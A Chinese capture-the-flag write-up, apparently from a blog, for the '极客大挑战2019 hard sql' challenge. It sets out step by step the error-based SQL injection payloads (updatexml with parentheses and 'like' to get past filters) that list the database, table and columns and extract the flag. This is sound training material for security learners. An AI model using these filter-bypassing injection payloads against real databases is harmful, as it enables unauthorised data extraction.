[极客大挑战2019] hard sql

经过开始的测试,输入1'报错,输入1' or 1=1#没用,输入1'or'显示密码错误,可以发现空格被过滤

进一步测试发现and,union也被过滤,于是想到用报错注入

则考虑用()绕过空格过滤,构造payload:

1'or(updatexml(1,concat(0x7e,database(),0x7e),0))#

可以得到数据库名:geek

第二部构造payload:

1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema='geek')),0x7e),0))#

发现可能=被过滤,则用like绕过

1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),0))#

得到表名:H4rDsq1

进一步构造payload获取列:

1'or(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')limit(0,1)),0x7e),0))#

但发现不行

修改payload:

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),0))#

得到字段id,username,password

接着构造payload:

1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))),0x7e),0)#

得到一半的答案:

flag{15afeb9d-bcad-4c93-8bf9-b2

right函数为返回最右边的len个字符的字符串str

eg:SELECT RIGHT('foobarbar', 4)

结果:rbar

用right从右边截取,多截取一点:

1'or(updatexml(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e),0))#

得到:3-8bf9-b269c0ffde49}

去掉重复部分得到答案:flag{15afeb9d-bcad-4c93-8bf9-b269c0ffde49}

 

也可以用length函数得到password的长度:

1'or(updatexml(1,concat(0x7e,(select(length(password))from(H4rDsq1)),0x7e),0))#

然后用right函数截取

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Kevin_xiao~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值